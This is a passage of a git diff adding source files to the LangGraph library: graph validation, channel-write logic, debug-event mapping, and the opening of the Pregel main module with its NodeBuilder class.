+                    if isinstance(parent, ast.Name):
+                        self.loads.add(parent.id + "." + attr_expr)
+
+
+def is_xxh3_128_hexdigest(value: str) -> bool:
+    """Check if the given string matches the format of xxh3_128_hexdigest."""
+    return bool(re.fullmatch(r"[0-9a-f]{32}", value))
diff --git a/libs/langgraph/langgraph/pregel/_validate.py b/libs/langgraph/langgraph/pregel/_validate.py
new file mode 100644
index 0000000..fcfb54c
--- /dev/null
+++ b/libs/langgraph/langgraph/pregel/_validate.py
@@ -0,0 +1,120 @@
+from __future__ import annotations
+
+from collections.abc import Mapping, Sequence
+from typing import Any
+
+from langgraph._internal._constants import RESERVED
+from langgraph.channels.base import BaseChannel
+from langgraph.managed.base import ManagedValueMapping
+from langgraph.pregel._read import PregelNode
+from langgraph.types import All
+
+
+def validate_graph(
+    nodes: Mapping[str, PregelNode],
+    channels: dict[str, BaseChannel],
+    managed: ManagedValueMapping,
+    input_channels: str | Sequence[str],
+    output_channels: str | Sequence[str],
+    stream_channels: str | Sequence[str] | None,
+    interrupt_after_nodes: All | Sequence[str],
+    interrupt_before_nodes: All | Sequence[str],
+) -> None:
+    for chan in channels:
+        if chan in RESERVED:
+            raise ValueError(f"Channel name '{chan}' is reserved")
+    for name in managed:
+        if name in RESERVED:
+            raise ValueError(f"Managed name '{name}' is reserved")
+
+    subscribed_channels = set[str]()
+    for name, node in nodes.items():
+        if name in RESERVED:
+            raise ValueError(f"Node name '{name}' is reserved")
+        if isinstance(node, PregelNode):
+            subscribed_channels.update(node.triggers)
+            if isinstance(node.channels, str):
+                if node.channels not in channels:
+                    raise ValueError(
+                        f"Node {name} reads channel '{node.channels}' "
+                        f"not in known channels: '{repr(sorted(channels))[:100]}'"
+                    )
+            else:
+                for chan in node.channels:
+                    if chan not in channels and chan not in managed:
+                        raise ValueError(
+                            f"Node {name} reads channel '{chan}' "
+                            f"not in known channels: '{repr(sorted(channels))[:100]}'"
+                        )
+        else:
+            raise TypeError(
+                f"Invalid node type {type(node)}, expected PregelNode or NodeBuilder"
+            )
+
+    for chan in subscribed_channels:
+        if chan not in channels:
+            raise ValueError(
+                f"Subscribed channel '{chan}' not "
+                f"in known channels: '{repr(sorted(channels))[:100]}'"
+            )
+
+    if isinstance(input_channels, str):
+        if input_channels not in channels:
+            raise ValueError(
+                f"Input channel '{input_channels}' not "
+                f"in known channels: '{repr(sorted(channels))[:100]}'"
+            )
+        if input_channels not in subscribed_channels:
+            raise ValueError(
+                f"Input channel {input_channels} is not subscribed to by any node"
+            )
+    else:
+        for chan in input_channels:
+            if chan not in channels:
+                raise ValueError(
+                    f"Input channel '{chan}' not in '{repr(sorted(channels))[:100]}'"
+                )
+        if all(chan not in subscribed_channels for chan in input_channels):
+            raise ValueError(
+                f"None of the input channels {input_channels} "
+                f"are subscribed to by any node"
+            )
+
+    all_output_channels = set[str]()
+    if isinstance(output_channels, str):
+        all_output_channels.add(output_channels)
+    else:
+        all_output_channels.update(output_channels)
+    if isinstance(stream_channels, str):
+        all_output_channels.add(stream_channels)
+    elif stream_channels is not None:
+        all_output_channels.update(stream_channels)
+
+    for chan in all_output_channels:
+        if chan not in channels:
+            raise ValueError(
+                f"Output channel '{chan}' not "
+                f"in known channels: '{repr(sorted(channels))[:100]}'"
+            )
+
+    if interrupt_after_nodes != "*":
+        for n in interrupt_after_nodes:
+            if n not in nodes:
+                raise ValueError(f"Node {n} not in nodes")
+    if interrupt_before_nodes != "*":
+        for n in interrupt_before_nodes:
+            if n not in nodes:
+                raise ValueError(f"Node {n} not in nodes")
+
+
+def validate_keys(
+    keys: str | Sequence[str] | None,
+    channels: Mapping[str, Any],
+) -> None:
+    if isinstance(keys, str):
+        if keys not in channels:
+            raise ValueError(f"Key {keys} not in channels")
+    elif keys is not None:
+        for chan in keys:
+            if chan not in channels:
+                raise ValueError(f"Key {chan} not in channels")
diff --git a/libs/langgraph/langgraph/pregel/_write.py b/libs/langgraph/langgraph/pregel/_write.py
new file mode 100644
index 0000000..8b45082
--- /dev/null
+++ b/libs/langgraph/langgraph/pregel/_write.py
@@ -0,0 +1,192 @@
+from __future__ import annotations
+
+from collections.abc import Callable, Sequence
+from typing import (
+    Any,
+    NamedTuple,
+    TypeVar,
+    cast,
+)
+
+from langchain_core.runnables import Runnable, RunnableConfig
+
+from langgraph._internal._constants import CONF, CONFIG_KEY_SEND, TASKS
+from langgraph._internal._runnable import RunnableCallable
+from langgraph._internal._typing import MISSING
+from langgraph.errors import InvalidUpdateError
+from langgraph.types import Send
+
+TYPE_SEND = Callable[[Sequence[tuple[str, Any]]], None]
+R = TypeVar("R", bound=Runnable)
+
+SKIP_WRITE = object()
+PASSTHROUGH = object()
+
+
+class ChannelWriteEntry(NamedTuple):
+    channel: str
+    """Channel name to write to."""
+    value: Any = PASSTHROUGH
+    """Value to write, or PASSTHROUGH to use the input."""
+    skip_none: bool = False
+    """Whether to skip writing if the value is None."""
+    mapper: Callable | None = None
+    """Function to transform the value before writing."""
+
+
+class ChannelWriteTupleEntry(NamedTuple):
+    mapper: Callable[[Any], Sequence[tuple[str, Any]] | None]
+    """Function to extract tuples from value."""
+    value: Any = PASSTHROUGH
+    """Value to write, or PASSTHROUGH to use the input."""
+    static: Sequence[tuple[str, Any, str | None]] | None = None
+    """Optional, declared writes for static analysis."""
+
+
+class ChannelWrite(RunnableCallable):
+    """Implements the logic for sending writes to CONFIG_KEY_SEND.
+    Can be used as a runnable or as a static method to call imperatively."""
+
+    writes: list[ChannelWriteEntry | ChannelWriteTupleEntry | Send]
+    """Sequence of write entries or Send objects to write."""
+
+    def __init__(
+        self,
+        writes: Sequence[ChannelWriteEntry | ChannelWriteTupleEntry | Send],
+        *,
+        tags: Sequence[str] | None = None,
+    ):
+        super().__init__(
+            func=self._write,
+            afunc=self._awrite,
+            name=None,
+            tags=tags,
+            trace=False,
+        )
+        self.writes = cast(
+            list[ChannelWriteEntry | ChannelWriteTupleEntry | Send], writes
+        )
+
+    def get_name(self, suffix: str | None = None, *, name: str | None = None) -> str:
+        if not name:
+            name = f"ChannelWrite<{','.join(w.channel if isinstance(w, ChannelWriteEntry) else '...' if isinstance(w, ChannelWriteTupleEntry) else w.node for w in self.writes)}>"
+        return super().get_name(suffix, name=name)
+
+    def _write(self, input: Any, config: RunnableConfig) -> None:
+        writes = [
+            ChannelWriteEntry(write.channel, input, write.skip_none, write.mapper)
+            if isinstance(write, ChannelWriteEntry) and write.value is PASSTHROUGH
+            else ChannelWriteTupleEntry(write.mapper, input)
+            if isinstance(write, ChannelWriteTupleEntry) and write.value is PASSTHROUGH
+            else write
+            for write in self.writes
+        ]
+        self.do_write(
+            config,
+            writes,
+        )
+        return input
+
+    async def _awrite(self, input: Any, config: RunnableConfig) -> None:
+        writes = [
+            ChannelWriteEntry(write.channel, input, write.skip_none, write.mapper)
+            if isinstance(write, ChannelWriteEntry) and write.value is PASSTHROUGH
+            else ChannelWriteTupleEntry(write.mapper, input)
+            if isinstance(write, ChannelWriteTupleEntry) and write.value is PASSTHROUGH
+            else write
+            for write in self.writes
+        ]
+        self.do_write(
+            config,
+            writes,
+        )
+        return input
+
+    @staticmethod
+    def do_write(
+        config: RunnableConfig,
+        writes: Sequence[ChannelWriteEntry | ChannelWriteTupleEntry | Send],
+        allow_passthrough: bool = True,
+    ) -> None:
+        # validate
+        for w in writes:
+            if isinstance(w, ChannelWriteEntry):
+                if w.channel == TASKS:
+                    raise InvalidUpdateError(
+                        "Cannot write to the reserved channel TASKS"
+                    )
+                if w.value is PASSTHROUGH and not allow_passthrough:
+                    raise InvalidUpdateError("PASSTHROUGH value must be replaced")
+            if isinstance(w, ChannelWriteTupleEntry):
+                if w.value is PASSTHROUGH and not allow_passthrough:
+                    raise InvalidUpdateError("PASSTHROUGH value must be replaced")
+        # if we want to persist writes found before hitting a ParentCommand
+        # can move this to a finally block
+        write: TYPE_SEND = config[CONF][CONFIG_KEY_SEND]
+        write(_assemble_writes(writes))
+
+    @staticmethod
+    def is_writer(runnable: Runnable) -> bool:
+        """Used by PregelNode to distinguish between writers and other runnables."""
+        return (
+            isinstance(runnable, ChannelWrite)
+            or getattr(runnable, "_is_channel_writer", MISSING) is not MISSING
+        )
+
+    @staticmethod
+    def get_static_writes(
+        runnable: Runnable,
+    ) -> Sequence[tuple[str, Any, str | None]] | None:
+        """Used to get conditional writes a writer declares for static analysis."""
+        if isinstance(runnable, ChannelWrite):
+            return [
+                w
+                for entry in runnable.writes
+                if isinstance(entry, ChannelWriteTupleEntry) and entry.static
+                for w in entry.static
+            ] or None
+        elif writes := getattr(runnable, "_is_channel_writer", MISSING):
+            if writes is not MISSING:
+                writes = cast(
+                    Sequence[tuple[ChannelWriteEntry | Send, str | None]],
+                    writes,
+                )
+                entries = [e for e, _ in writes]
+                labels = [la for _, la in writes]
+                return [(*t, la) for t, la in zip(_assemble_writes(entries), labels)]
+
+    @staticmethod
+    def register_writer(
+        runnable: R,
+        static: Sequence[tuple[ChannelWriteEntry | Send, str | None]] | None = None,
+    ) -> R:
+        """Used to mark a runnable as a writer, so that it can be detected by is_writer.
+        Instances of ChannelWrite are automatically marked as writers.
+        Optionally, a list of declared writes can be passed for static analysis."""
+        # using object.__setattr__ to work around objects that override __setattr__
+        # eg. pydantic models and dataclasses
+        object.__setattr__(runnable, "_is_channel_writer", static)
+        return runnable
+
+
+def _assemble_writes(
+    writes: Sequence[ChannelWriteEntry | ChannelWriteTupleEntry | Send],
+) -> list[tuple[str, Any]]:
+    """Assembles the writes into a list of tuples."""
+    tuples: list[tuple[str, Any]] = []
+    for w in writes:
+        if isinstance(w, Send):
+            tuples.append((TASKS, w))
+        elif isinstance(w, ChannelWriteTupleEntry):
+            if ww := w.mapper(w.value):
+                tuples.extend(ww)
+        elif isinstance(w, ChannelWriteEntry):
+            value = w.mapper(w.value) if w.mapper is not None else w.value
+            if value is SKIP_WRITE:
+                continue
+            if w.skip_none and value is None:
+                continue
+            tuples.append((w.channel, value))
+        else:
+            raise ValueError(f"Invalid write entry: {w}")
+    return tuples
diff --git a/libs/langgraph/langgraph/pregel/debug.py b/libs/langgraph/langgraph/pregel/debug.py
new file mode 100644
index 0000000..b3ef5a8
--- /dev/null
+++ b/libs/langgraph/langgraph/pregel/debug.py
@@ -0,0 +1,302 @@
+from __future__ import annotations
+
+from collections.abc import Iterable, Iterator, Mapping, Sequence
+from dataclasses import asdict
+from typing import Any
+from uuid import UUID
+
+from langchain_core.runnables import RunnableConfig
+from langgraph.checkpoint.base import (
+    EXCLUDED_METADATA_KEYS,
+    CheckpointMetadata,
+    PendingWrite,
+)
+
+from langgraph._internal._config import filter_to_user_tags, patch_checkpoint_map
+from langgraph._internal._constants import (
+    CONF,
+    CONFIG_KEY_CHECKPOINT_NS,
+    ERROR,
+    INTERRUPT,
+    NS_END,
+    NS_SEP,
+    RETURN,
+)
+from langgraph._internal._typing import MISSING
+from langgraph.channels.base import BaseChannel
+from langgraph.constants import TAG_HIDDEN
+from langgraph.pregel._io import read_channels
+from langgraph.types import (
+    CheckpointPayload,
+    PregelExecutableTask,
+    PregelTask,
+    StateSnapshot,
+    TaskPayload,
+    TaskResultPayload,
+)
+
+TASK_NAMESPACE = UUID("6ba7b831-9dad-11d1-80b4-00c04fd430c8")
+
+
+def map_debug_tasks(tasks: Iterable[PregelExecutableTask]) -> Iterator[TaskPayload]:
+    """Produce "task" events for stream_mode=debug."""
+    for task in tasks:
+        if task.config is not None and TAG_HIDDEN in task.config.get("tags", []):
+            continue
+
+        payload: TaskPayload = {
+            "id": task.id,
+            "name": task.name,
+            "input": task.input,
+            "triggers": task.triggers,
+        }
+        # Forward user-meaningful metadata only — drop langgraph's internal
+        # framework keys (langgraph_node/step/triggers/path/checkpoint_ns,
+        # thread_id, ...), which are redundant with the task's own fields and
+        # namespace. Keys like `lc_agent_name`, `ls_integration`, and any
+        # user-supplied metadata ride along. Filtered config tags are folded in
+        # under `tags`, mirroring the messages stream handler. (The comprehension
+        # also yields a fresh dict, so mutating `md` doesn't touch task.config.)
+        if task.config is not None:
+            md = {
+                k: v
+                for k, v in (task.config.get("metadata") or {}).items()
+                if k not in EXCLUDED_METADATA_KEYS
+            }
+            filtered_tags = filter_to_user_tags(task.config.get("tags"))
+            if filtered_tags is not None:
+                md["tags"] = filtered_tags
+            if md:
+                payload["metadata"] = md
+        yield payload
+
+
+def is_multiple_channel_write(value: Any) -> bool:
+    """Return True if the payload already wraps multiple writes from the same channel."""
+    return (
+        isinstance(value, dict)
+        and "$writes" in value
+        and isinstance(value["$writes"], list)
+    )
+
+
+def map_task_result_writes(writes: Sequence[tuple[str, Any]]) -> dict[str, Any]:
+    """Folds task writes into a result dict and aggregates multiple writes to the same channel.
+
+    If the channel contains a single write, we record the write in the result dict as `{channel: write}`
+    If the channel contains multiple writes, we record the writes in the result dict as `{channel: {'$writes': [write1, write2, ...]}}`"""
+
+    result: dict[str, Any] = {}
+    for channel, value in writes:
+        existing = result.get(channel)
+
+        if existing is not None:
+            channel_writes = (
+                existing["$writes"]
+                if is_multiple_channel_write(existing)
+                else [existing]
+            )
+            channel_writes.append(value)
+            result[channel] = {"$writes": channel_writes}
+        else:
+            result[channel] = value
+    return result
+
+
+def map_debug_task_results(
+    task_tup: tuple[PregelExecutableTask, Sequence[tuple[str, Any]]],
+    stream_keys: str | Sequence[str],
+) -> Iterator[TaskResultPayload]:
+    """Produce "task_result" events for stream_mode=debug."""
+    stream_channels_list = (
+        [stream_keys] if isinstance(stream_keys, str) else stream_keys
+    )
+    task, writes = task_tup
+    yield {
+        "id": task.id,
+        "name": task.name,
+        "error": next((w[1] for w in writes if w[0] == ERROR), None),
+        "result": map_task_result_writes(
+            [w for w in writes if w[0] in stream_channels_list or w[0] == RETURN]
+        ),
+        "interrupts": [
+            asdict(v)
+            for w in writes
+            if w[0] == INTERRUPT
+            for v in (w[1] if isinstance(w[1], Sequence) else [w[1]])
+        ],
+    }
+
+
+def rm_pregel_keys(config: RunnableConfig | None) -> RunnableConfig | None:
+    """Remove pregel-specific keys from the config."""
+    if config is None:
+        return config
+    return {
+        "configurable": {
+            k: v
+            for k, v in config.get("configurable", {}).items()
+            if not k.startswith("__pregel_")
+        }
+    }
+
+
+def map_debug_checkpoint(
+    config: RunnableConfig,
+    channels: Mapping[str, BaseChannel],
+    stream_channels: str | Sequence[str],
+    metadata: CheckpointMetadata,
+    tasks: Iterable[PregelExecutableTask],
+    pending_writes: list[PendingWrite],
+    parent_config: RunnableConfig | None,
+    output_keys: str | Sequence[str],
+) -> Iterator[CheckpointPayload]:
+    """Produce "checkpoint" events for stream_mode=debug."""
+
+    parent_ns = config[CONF].get(CONFIG_KEY_CHECKPOINT_NS, "")
+    task_states: dict[str, RunnableConfig | StateSnapshot] = {}
+
+    for task in tasks:
+        if not task.subgraphs:
+            continue
+
+        # assemble checkpoint_ns for this task
+        task_ns = f"{task.name}{NS_END}{task.id}"
+        if parent_ns:
+            task_ns = f"{parent_ns}{NS_SEP}{task_ns}"
+
+        # set config as signal that subgraph checkpoints exist
+        task_states[task.id] = {
+            CONF: {
+                "thread_id": config[CONF]["thread_id"],
+                CONFIG_KEY_CHECKPOINT_NS: task_ns,
+            }
+        }
+
+    yield {
+        "config": rm_pregel_keys(patch_checkpoint_map(config, metadata)),
+        "parent_config": rm_pregel_keys(patch_checkpoint_map(parent_config, metadata)),
+        "values": read_channels(channels, stream_channels),
+        "metadata": metadata,
+        "next": [t.name for t in tasks],
+        "tasks": [
+            {
+                "id": t.id,
+                "name": t.name,
+                "error": t.error,
+                "state": t.state,
+            }
+            if t.error
+            else {
+                "id": t.id,
+                "name": t.name,
+                "result": t.result,
+                "interrupts": tuple(asdict(i) for i in t.interrupts),
+                "state": t.state,
+            }
+            if t.result
+            else {
+                "id": t.id,
+                "name": t.name,
+                "interrupts": tuple(asdict(i) for i in t.interrupts),
+                "state": t.state,
+            }
+            for t in tasks_w_writes(tasks, pending_writes, task_states, output_keys)
+        ],
+    }
+
+
+def tasks_w_writes(
+    tasks: Iterable[PregelTask | PregelExecutableTask],
+    pending_writes: list[PendingWrite] | None,
+    states: dict[str, RunnableConfig | StateSnapshot] | None,
+    output_keys: str | Sequence[str],
+) -> tuple[PregelTask, ...]:
+    """Apply writes / subgraph states to tasks to be returned in a StateSnapshot."""
+    pending_writes = pending_writes or []
+    out: list[PregelTask] = []
+    for task in tasks:
+        rtn = next(
+            (
+                val
+                for tid, chan, val in pending_writes
+                if tid == task.id and chan == RETURN
+            ),
+            MISSING,
+        )
+        task_error = next(
+            (exc for tid, n, exc in pending_writes if tid == task.id and n == ERROR),
+            None,
+        )
+        task_interrupts = tuple(
+            v
+            for tid, n, vv in pending_writes
+            if tid == task.id and n == INTERRUPT
+            for v in (vv if isinstance(vv, Sequence) else [vv])
+        )
+
+        task_writes = [
+            (chan, val)
+            for tid, chan, val in pending_writes
+            if tid == task.id and chan not in (ERROR, INTERRUPT, RETURN)
+        ]
+
+        if rtn is not MISSING:
+            task_result = rtn
+        elif isinstance(output_keys, str):
+            # unwrap single channel writes to just the write value
+            filtered_writes = [
+                (chan, val) for chan, val in task_writes if chan == output_keys
+            ]
+            mapped_writes = map_task_result_writes(filtered_writes)
+            task_result = mapped_writes.get(str(output_keys)) if mapped_writes else None
+        else:
+            if isinstance(output_keys, str):
+                output_keys = [output_keys]
+            # map task result writes to the desired output channels
+            # repeateed writes to the same channel are aggregated into: {'$writes': [write1, write2, ...]}
+            filtered_writes = [
+                (chan, val) for chan, val in task_writes if chan in output_keys
+            ]
+            mapped_writes = map_task_result_writes(filtered_writes)
+            task_result = mapped_writes if filtered_writes else {}
+
+        has_writes = rtn is not MISSING or any(
+            w[0] == task.id and w[1] not in (ERROR, INTERRUPT) for w in pending_writes
+        )
+
+        out.append(
+            PregelTask(
+                task.id,
+                task.name,
+                task.path,
+                task_error,
+                task_interrupts,
+                states.get(task.id) if states else None,
+                task_result if has_writes else None,
+            )
+        )
+    return tuple(out)
+
+
+COLOR_MAPPING = {
+    "black": "0;30",
+    "red": "0;31",
+    "green": "0;32",
+    "yellow": "0;33",
+    "blue": "0;34",
+    "magenta": "0;35",
+    "cyan": "0;36",
+    "white": "0;37",
+    "gray": "1;30",
+}
+
+
+def get_colored_text(text: str, color: str) -> str:
+    """Get colored text."""
+    return f"\033[1;3{COLOR_MAPPING[color]}m{text}\033[0m"
+
+
+def get_bolded_text(text: str) -> str:
+    """Get bolded text."""
+    return f"\033[1m{text}\033[0m"
diff --git a/libs/langgraph/langgraph/pregel/main.py b/libs/langgraph/langgraph/pregel/main.py
new file mode 100644
index 0000000..4e098ba
--- /dev/null
+++ b/libs/langgraph/langgraph/pregel/main.py
@@ -0,0 +1,4364 @@
+from __future__ import annotations
+
+import asyncio
+import concurrent
+import concurrent.futures
+import contextlib
+import queue
+import warnings
+import weakref
+from collections import defaultdict, deque
+from collections.abc import (
+    AsyncIterator,
+    Awaitable,
+    Callable,
+    Iterator,
+    Mapping,
+    Sequence,
+)
+from dataclasses import is_dataclass, replace
+from datetime import timedelta
+from functools import partial
+from inspect import isclass
+from typing import (
+    Any,
+    Generic,
+    Literal,
+    cast,
+    get_type_hints,
+    overload,
+)
+from uuid import UUID, uuid5
+
+from langchain_core._api import beta
+from langchain_core.globals import get_debug
+from langchain_core.runnables import (
+    RunnableSequence,
+)
+from langchain_core.runnables.base import Input, Output
+from langchain_core.runnables.config import (
+    RunnableConfig,
+    get_async_callback_manager_for_config,
+    get_callback_manager_for_config,
+)
+from langchain_core.runnables.graph import Graph
+from langchain_core.runnables.schema import StreamEvent
+from langgraph.cache.base import BaseCache
+from langgraph.checkpoint.base import (
+    BaseCheckpointSaver,
+    Checkpoint,
+    CheckpointTuple,
+)
+from langgraph.store.base import BaseStore
+from pydantic import BaseModel, TypeAdapter
+from typing_extensions import Self, Unpack, deprecated, is_typeddict
+
+from langgraph._internal import _serde
+from langgraph._internal._config import (
+    ensure_config,
+    merge_configs,
+    patch_checkpoint_map,
+    patch_config,
+    patch_configurable,
+    recast_checkpoint_ns,
+)
+from langgraph._internal._constants import (
+    CACHE_NS_WRITES,
+    CONF,
+    CONFIG_KEY_CACHE,
+    CONFIG_KEY_CHECKPOINT_ID,
+    CONFIG_KEY_CHECKPOINT_NS,
+    CONFIG_KEY_CHECKPOINTER,
+    CONFIG_KEY_DURABILITY,
+    CONFIG_KEY_NODE_FINISHED,
+    CONFIG_KEY_READ,
+    CONFIG_KEY_RUNNER_SUBMIT,
+    CONFIG_KEY_RUNTIME,
+    CONFIG_KEY_SEND,
+    CONFIG_KEY_STREAM,
+    CONFIG_KEY_STREAM_MESSAGES_V2,
+    CONFIG_KEY_TASK_ID,
+    CONFIG_KEY_THREAD_ID,
+    ERROR,
+    INPUT,
+    INTERRUPT,
+    NS_END,
+    NS_SEP,
+    NULL_TASK_ID,
+    PUSH,
+    TASKS,
+)
+from langgraph._internal._pydantic import create_model
+from langgraph._internal._queue import (  # type: ignore[attr-defined]
+    AsyncQueue,
+    SyncQueue,
+)
+from langgraph._internal._runnable import (
+    Runnable,
+    RunnableLike,
+    RunnableSeq,
+    coerce_to_runnable,
+)
+from langgraph._internal._timeout import coerce_timeout_policy
+from langgraph._internal._typing import MISSING, DeprecatedKwargs
+from langgraph.callbacks import (
+    GraphInterruptEvent,
+    GraphResumeEvent,
+    get_async_graph_callback_manager_for_config,
+    get_sync_graph_callback_manager_for_config,
+)
+from langgraph.channels.base import BaseChannel
+from langgraph.channels.topic import Topic
+from langgraph.config import get_config
+from langgraph.constants import END
+from langgraph.errors import (
+    ErrorCode,
+    GraphDrained,
+    GraphRecursionError,
+    InvalidUpdateError,
+    create_error_message,
+)
+from langgraph.managed.base import ManagedValueSpec
+from langgraph.pregel._algo import (
+    PregelTaskWrites,
+    _scratchpad,
+    apply_writes,
+    local_read,
+    prepare_next_tasks,
+)
+from langgraph.pregel._call import identifier
+from langgraph.pregel._checkpoint import (
+    achannels_from_checkpoint,
+    channels_from_checkpoint,
+    copy_checkpoint,
+    create_checkpoint,
+    create_checkpoint_plan_for_update_state_api,
+    empty_checkpoint,
+    get_updated_channels_from_tasks,
+)
+from langgraph.pregel._draw import draw_graph
+from langgraph.pregel._io import map_input, read_channels
+from langgraph.pregel._loop import (
+    AsyncPregelLoop,
+    SyncPregelLoop,
+)
+from langgraph.pregel._messages import (
+    StreamMessagesHandler,
+    StreamMessagesHandlerV2,
+)
+from langgraph.pregel._read import DEFAULT_BOUND, PregelNode
+from langgraph.pregel._retry import RetryPolicy
+from langgraph.pregel._runner import PregelRunner
+from langgraph.pregel._tools import StreamToolCallHandler
+from langgraph.pregel._utils import (
+    get_new_channel_versions,
+    validate_timeout_supported,
+)
+from langgraph.pregel._validate import validate_graph, validate_keys
+from langgraph.pregel._write import ChannelWrite, ChannelWriteEntry
+from langgraph.pregel.debug import get_bolded_text, get_colored_text, tasks_w_writes
+from langgraph.pregel.protocol import PregelProtocol, StreamChunk, StreamProtocol
+from langgraph.runtime import (
+    DEFAULT_RUNTIME,
+    BaseUser,
+    RunControl,
+    Runtime,
+    ServerInfo,
+)
+from langgraph.stream._mux import StreamMux
+from langgraph.stream._types import StreamTransformer
+from langgraph.stream.run_stream import AsyncGraphRunStream, GraphRunStream
+from langgraph.stream.transformers import (
+    LifecycleTransformer,
+    MessagesTransformer,
+    SubgraphTransformer,
+    ValuesTransformer,
+)
+from langgraph.types import (
+    All,
+    CachePolicy,
+    Checkpointer,
+    Command,
+    Durability,
+    GraphOutput,
+    Interrupt,
+    Send,
+    StateSnapshot,
+    StateUpdate,
+    StreamMode,
+    StreamPart,
+    TimeoutPolicy,
+    ensure_valid_checkpointer,
+)
+from langgraph.typing import ContextT, InputT, OutputT, StateT
+from langgraph.warnings import LangGraphDeprecatedSinceV10
+
+try:
+    from langchain_core.tracers._streaming import _StreamingCallbackHandler
+except ImportError:
+    _StreamingCallbackHandler = None  # type: ignore
+
+__all__ = ("NodeBuilder", "Pregel")
+
+_WriteValue = Callable[[Input], Output] | Any
+
+
+class NodeBuilder:
+    __slots__ = (
+        "_channels",
+        "_triggers",
+        "_tags",
+        "_metadata",
+        "_writes",
+        "_bound",
+        "_retry_policy",
+        "_cache_policy",
+        "_timeout",
+    )
+
+    _channels: str | list[str]
+    _triggers: list[str]
+    _tags: list[str]
+    _metadata: dict[str, Any]
+    _writes: list[ChannelWriteEntry]
+    _bound: Runnable
+    _retry_policy: list[RetryPolicy]
+    _cache_policy: CachePolicy | None
+    _timeout: TimeoutPolicy | None
+
+    def __init__(
+        self,
+    ) -> None:
+        self._channels = []
+        self._triggers = []
+        self._tags = []
+        self._metadata = {}
+        self._writes = []
+        self._bound = DEFAULT_BOUND
+        self._retry_policy = []
+        self._cache_policy = None
+        self._timeout = None
+
+    def subscribe_only(
+        self,
+        channel: str,
+    ) -> Self:
+        """Subscribe to a single channel."""
+        if not self._channels:
+            self._channels = channel
+        else:
+            raise ValueError(
+                "Cannot subscribe to single channels when other channels are already subscribed to"
+            )
+
+        self._triggers.append(channel)
+
+        return self
+
+    def subscribe_to(
+        self,
+        *channels: str,
+        read: bool = True,
+    ) -> Self:
+        """Add channels to subscribe to.
+
+        Node will be invoked when any of these channels are updated, with a dict of the
+        channel values as input.
+
+        Args:
+            channels: Channel name(s) to subscribe to
+            read: If `True`, the channels will be included in the input to the node.
+                Otherwise, they will trigger the node without being sent in input.
+
+        Returns:
+            Self for chaining
+        """
+        if isinstance(self._channels, str):
+            raise ValueError(
+                "Cannot subscribe to channels when subscribed to a single channel"
+            )
+        if read:
+            if not self._channels:
+                self._channels = list(channels)
+            else:
+                self._channels.extend(channels)
+
+        if isinstance(channels, str):
+            self._triggers.append(channels)
+        else:
+            self._triggers.extend(channels)
+
+        return self
+
+    def read_from(
+        self,
+        *channels: str,
+    ) -> Self:
+        """Adds the specified channels to read from, without subscribing to them."""
+        assert isinstance(self._channels, list), (
+            "Cannot read additional channels when subscribed to single channels"
+        )
+        self._channels.extend(channels)
+        return self
+
+    def do(
+        self,
+        node: RunnableLike,
+    ) -> Self:
+        """Adds the specified node."""
+        if self._bound is not DEFAULT_BOUND:
+            self._bound = RunnableSeq(
+                self._bound, coerce_to_runnable(node, name=None, trace=True)
+            )
+        else:
+            self._bound = coerce_to_runnable(node, name=None, trace=True)
+        return self
+
+    def write_to(
+        self,
+        *channels: str | ChannelWriteEntry,
+        **kwargs: _WriteValue,
+    ) -> Self:
+        """Add channel writes.
+
+        Args:
+            *channels: Channel names to write to.
+            **kwargs: Channel name and value mappings.
+
+        Returns:
+            Self for chaining
+        """
+        self._writes.extend(
+            ChannelWriteEntry(c) if isinstance(c, str) else c for c in channels
+        )
+        self._writes.extend(
+            ChannelWriteEntry(k, mapper=v)
+            if callable(v)
+            else ChannelWriteEntry(k, value=v)
+            for k, v in kwargs.items()
+        )
+
+        return self
+
+    def meta(self, *tags: str, **metadata: Any) -> Self:
+        """Add tags or metadata to the node."""
+        self._tags.extend(tags)
+        self._metadata.update(metadata)
+        return self
+
+    def add_retry_policies(self, *policies: RetryPolicy) -> Self:
+        """Adds retry policies to the node."""
+        self._retry_policy.extend(policies)
+        return self
+
+    def add_cache_policy(self, policy: CachePolicy) -> Self:
+        """Adds cache policies to the node."""
+        self._cache_policy = policy
+        return self
+
+    def set_timeout(self, timeout: float | timedelta | TimeoutPolicy | None) -> Self:
+        """Set the per-attempt timeout policy for this node."""
+        self._timeout = coerce_timeout_policy(timeout)
+        return self
+
+    def build(self) -> PregelNode:
+        """Builds the node."""
+        return PregelNode(
+            channels=self._channels,
+            triggers=self._triggers,
+            tags=self._tags,
+            metadata=self._metadata,
+            writers=[ChannelWrite(self._writes)],
+            bound=self._bound,
+            retry_policy=self._retry_policy,
+            cache_policy=self._cache_policy,
+            timeout=self._timeout,
+        )
+
+
+# Kwargs that ``stream_events(version="v3")`` / ``astream_events(version="v3")``
+# manage internally and must not be overridden by callers. ``stream_mode`` is
+# derived from the transformer mux; ``subgraphs`` is forced True so nested
+# namespaces flow through scoped muxes. Forwarding either to the inner
+# ``stream(...)`` would silently break v3's invariants, so we raise instead.
+_V3_INVARIANT_KWARGS: tuple[str, ...] = ("stream_mode", "subgraphs")
+
+
+def _reject_v3_invariant_kwargs(kwargs: dict[str, Any]) -> None:
+    collisions = [k for k in _V3_INVARIANT_KWARGS if k in kwargs]
+    if collisions:
+        raise TypeError(
+            "stream_events(version='v3') / astream_events(version='v3') do "
+            f"not accept {', '.join(collisions)}; v3 owns these "
+            "(stream_mode is built from the transformer mux, subgraphs is "
+            "forced True so nested namespaces flow through scoped muxes)."
+        )
+
+
+def _collect_stream_modes(mux: Any) -> list[StreamMode]:
+    """Return the union of `required_stream_modes` across registered transformers.
+
+    Transformers declare the stream modes they need to function, and
+    `stream_events(version="v3")` asks the graph for exactly that union — no hardcoded
+    default set. If zero transformers declare a given mode, the graph
+    does not stream events for it.
+    """
+    modes: set[StreamMode] = set()
+    for transformer in mux._transformers:
+        modes.update(
+            cast(
+                "tuple[StreamMode, ...]",
+                getattr(transformer, "required_stream_modes", ()),
+            )
+        )
+    return list(modes)
+
+
+def _normalize_stream_transformer_factories(
+    specs: Sequence[Callable[[tuple[str, ...]], Any]] | None,
+) -> list[Callable[[tuple[str, ...]], Any]]:
+    """Normalize stream transformer specs to scoped factories.
+
+    A stream transformer spec is a callable that accepts
+    `scope: tuple[str, ...]` and returns a fresh `StreamTransformer`.
+    Transformer classes work when their constructor follows the same
+    shape. Pre-built instances are rejected because they cannot be
+    cloned into subgraph scopes.
+    """
+    factories: list[Callable[[tuple[str, ...]], Any]] = []
+    for spec in specs or ():
+        if isinstance(spec, StreamTransformer):
+            raise TypeError(
